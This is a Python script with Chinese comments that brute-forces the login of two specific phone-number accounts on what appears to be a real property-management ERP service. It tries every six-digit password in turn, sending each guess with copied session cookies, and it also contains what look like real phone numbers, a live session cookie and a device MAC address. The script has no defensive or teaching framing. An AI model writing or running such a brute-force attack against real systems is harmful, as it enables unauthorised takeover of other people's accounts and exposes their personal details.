import concurrent.futures
import json
import os
import random

import pandas as pd
import requests

# 自定义请求头
headers = {
    'accept': 'application/json, text/javascript, */*; q=0.01',
    'request-from': '1',
    'Origin': 'https://erp.fangline.cn',
    'x-requested-with': 'XMLHttpRequest',
    'page-name': '/visit-house/house-list',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
    'cookie': 'JSESSIONID=84bcdb7a-7d48-42b7-b76e-e913810df702; guideStatus=6; SERVERID=f595ac9d48f8f7494ff45c92e36e47bc|1707043354|1707043351',
    'Content-Type': 'application/json',
    'Cache-Control': 'no-cache',
    'Postman-Token': '43d3c843-d672-4acd-b360-8454017874db',
    'Host': 'erp.fangline.cn',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive'
}

# 生成所有6位数字
all_numbers = [str(i).zfill(6) for i in range(1000000)]

# 登录账号
username = ['15357420106', '18063055808']

# 过滤名单中的数字
blacklist = ['888888', '000000']
filtered_numbers = [num for num in all_numbers if num not in blacklist]

# 打印结果
for num in filtered_numbers:

    for user in username:
        url = f'http://118.31.177.37/login/login-by-account-PC.json?mac=2C-6D-C1-8E-0C-A1&extMpAppid=&tel={user}&password={num}'
        response = requests.post(url, headers=headers)
        # {"code":1,"ok":true}
        # {"msg":"账号或密码错误","code":99,"data":null,"ok":false,"userId":null}
        result = response.json()
        if result['code'] == '1' and result['ok'] == True:
            print(f'{user}请求成功{num}，返回：{result['data']}')
            break
        else:
            print(f'{user}请求成功{num}，返回：{result}')
